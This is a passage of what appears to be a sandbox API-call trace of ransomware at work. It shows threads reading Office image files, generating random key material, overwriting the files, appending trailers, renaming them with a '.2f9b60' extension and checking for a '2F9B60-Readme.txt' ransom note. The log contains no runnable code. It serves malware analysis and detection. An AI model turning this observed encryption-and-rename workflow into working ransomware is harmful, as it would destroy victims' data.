Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.474] wcscat (in: _Dest=0x1cd65fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65fa0) returned 1 [0225.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 Thread: id = 1827 os_tid = 0xf10 [0132.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg")) returned 0x20 [0134.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG", dwFileAttributes=0x20) returned 1 [0136.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eb4 [0138.431] GetFileSizeEx (in: hFile=0x1eb4, lpFileSize=0x2a37fb20 | out: lpFileSize=0x2a37fb20*=7465) returned 1 [0138.431] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x1d25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.431] ReadFile (in: hFile=0x1eb4, lpBuffer=0x2a37faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a37fae8, lpOverlapped=0x0 | out: lpBuffer=0x2a37faa0*, lpNumberOfBytesRead=0x2a37fae8*=0x4, lpOverlapped=0x0) returned 1 [0138.433] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0138.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.433] NtQuerySystemTime (in: CurrentTime=0x2a37f9e0 | out: CurrentTime=0x2a37f9e0*=132462177436678000) returned 0x0 [0138.433] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x877619a [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x52c35688 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x2e43ea28 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x7367a42c [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x112cba15 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x3d059795 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x47fcc126 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x767a7be1 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x45f33dde [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x5c145dd2 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x47a5b1f5 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x7f5c1829 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x2db53ec5 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0xdf45f11 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x497c533c [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x37178af9 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x6ad119e2 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x6fa9b5b5 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x237948b8 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x3ffae263 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x1f36647b [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x656dc4f6 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x60d7d779 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x518698d0 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0xbe9d1a [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x5e482669 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x294855a3 [0138.434] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0xc3e763c [0138.435] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x3eece1d8 [0138.435] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x3db8cd9b [0138.435] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x325d03c8 [0138.435] RtlRandomEx (in: Seed=0x2a37f9d0 | out: Seed=0x2a37f9d0) returned 0x359b5741 [0138.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0138.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0138.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0138.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42085d50 [0138.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42089960 [0138.445] ReadFile (in: hFile=0x1eb4, lpBuffer=0x42085d50, nNumberOfBytesToRead=0x1d29, lpNumberOfBytesRead=0x2a37f9d0, lpOverlapped=0x0 | out: lpBuffer=0x42085d50*, lpNumberOfBytesRead=0x2a37f9d0*=0x1d29, lpOverlapped=0x0) returned 1 [0138.477] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.477] WriteFile (in: hFile=0x1eb4, lpBuffer=0x42089960*, nNumberOfBytesToWrite=0x1d29, lpNumberOfBytesWritten=0x2a37f9d4, lpOverlapped=0x0 | out: lpBuffer=0x42089960*, lpNumberOfBytesWritten=0x2a37f9d4*=0x1d29, lpOverlapped=0x0) returned 1 [0138.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0138.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0138.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0138.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42089960) returned 1 [0138.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42085d50) returned 1 [0138.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0138.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a67d0 [0138.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420610b0 [0138.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7910 [0138.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0138.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a7910 [0138.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0138.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420610b0) returned 1 [0138.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x1694d0 [0138.560] SetFilePointerEx (in: hFile=0x1eb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.560] WriteFile (in: hFile=0x1eb4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a37faf0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2a37faf0*=0x102, lpOverlapped=0x0) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0139.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0139.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0139.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20506770 [0139.108] wcscpy (in: _Dest=0x20506770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" [0139.108] wcscat (in: _Dest=0x20506770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.2f9b60" [0139.108] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.2f9b60", NtPathName=0x2a37fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x108080 [0139.108] NtSetInformationFile (FileHandle=0x1eb4, IoStatusBlock=0x2a37fbb0, FileInformation=0x108080, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0146.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0146.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057690) returned 1 [0146.128] NtQueryInformationFile (in: FileHandle=0x1eb4, IoStatusBlock=0x2a37fb78, FileInformation=0x2a37fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a37fb78, FileInformation=0x2a37fb88) returned 0x0 [0146.128] NtSetInformationFile (FileHandle=0x1eb4, IoStatusBlock=0x2a37fb78, FileInformation=0x2a37fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506770) returned 1 [0146.823] FlushFileBuffers (hFile=0x1eb4) returned 1 [0146.884] CloseHandle (hObject=0x1eb4) returned 1 [0146.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d2c0 [0146.928] wcscpy (in: _Dest=0x2050d2c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.928] wcscat (in: _Dest=0x2050d2c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0147.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae90) returned 1 Thread: id = 1828 os_tid = 0xf18 [0132.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp")) returned 0x20 [0134.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP", dwFileAttributes=0x20) returned 1 [0136.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b1c [0140.104] GetFileSizeEx (in: hFile=0x1b1c, lpFileSize=0x2a5bfd80 | out: lpFileSize=0x2a5bfd80*=3128) returned 1 [0140.104] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.104] ReadFile (in: hFile=0x1b1c, lpBuffer=0x2a5bfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a5bfd48, lpOverlapped=0x0 | out: lpBuffer=0x2a5bfd00*, lpNumberOfBytesRead=0x2a5bfd48*=0x4, lpOverlapped=0x0) returned 1 [0140.108] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0140.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c000 [0140.108] NtQuerySystemTime (in: CurrentTime=0x2a5bfc40 | out: CurrentTime=0x2a5bfc40*=132462177453526000) returned 0x0 [0140.108] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x603a0c5f [0140.108] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3ca3a4d3 [0140.108] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x31bde4e3 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x571f468e [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x97c2796 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x5c63712b [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x1020ab1 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x5f504bb0 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x7b7cc92d [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x134fc26b [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x183e7e9e [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3a402f31 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x7ca9417 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3f1c9fa1 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x22c36595 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x59135a62 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3e4def64 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x4977ad2b [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x4ec062db [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x7f4c94e7 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x1b49eb2d [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x7874bede [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x4977ad2b [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x292b11f1 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x4ecf1d8a [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x1cec799a [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3b4bb80a [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x248b53e9 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x79dea2d6 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x3ed0ca66 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x2e4aa1b0 [0140.109] RtlRandomEx (in: Seed=0x2a5bfc30 | out: Seed=0x2a5bfc30) returned 0x70f21398 [0140.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0140.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0140.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0140.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0140.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c000) returned 1 [0140.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0140.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bb5f0 [0140.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bf200 [0140.121] ReadFile (in: hFile=0x1b1c, lpBuffer=0x421bb5f0, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x2a5bfc30, lpOverlapped=0x0 | out: lpBuffer=0x421bb5f0*, lpNumberOfBytesRead=0x2a5bfc30*=0xc38, lpOverlapped=0x0) returned 1 [0140.121] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.121] WriteFile (in: hFile=0x1b1c, lpBuffer=0x421bf200*, nNumberOfBytesToWrite=0xc38, lpNumberOfBytesWritten=0x2a5bfc34, lpOverlapped=0x0 | out: lpBuffer=0x421bf200*, lpNumberOfBytesWritten=0x2a5bfc34*=0xc38, lpOverlapped=0x0) returned 1 [0140.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0140.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdde0 [0140.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0140.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421bf200) returned 1 [0140.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421bb5f0) returned 1 [0140.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0140.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fdde0 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0140.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fde10 [0140.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0140.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde70 [0140.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde70) returned 1 [0140.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0140.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0140.937] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.937] WriteFile (in: hFile=0x1b1c, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a5bfd50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x2a5bfd50*=0x10a, lpOverlapped=0x0) returned 1 [0141.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0141.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdde0) returned 1 [0141.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0141.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0141.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0141.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0141.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b8627d0 [0141.008] wcscpy (in: _Dest=0x1b8627d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" [0141.008] wcscat (in: _Dest=0x1b8627d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.2f9b60" [0141.009] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.2f9b60", NtPathName=0x2a5bfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205e660 [0141.009] NtSetInformationFile (FileHandle=0x1b1c, IoStatusBlock=0x2a5bfe10, FileInformation=0x4205e660, Length=0xbc, FileInformationClass=0xa) returned 0x0 [0145.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e660) returned 1 [0145.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced37f0) returned 1 [0145.439] NtQueryInformationFile (in: FileHandle=0x1b1c, IoStatusBlock=0x2a5bfdd8, FileInformation=0x2a5bfde8, Length=0x28, FileInformationClass=0x4 | out: 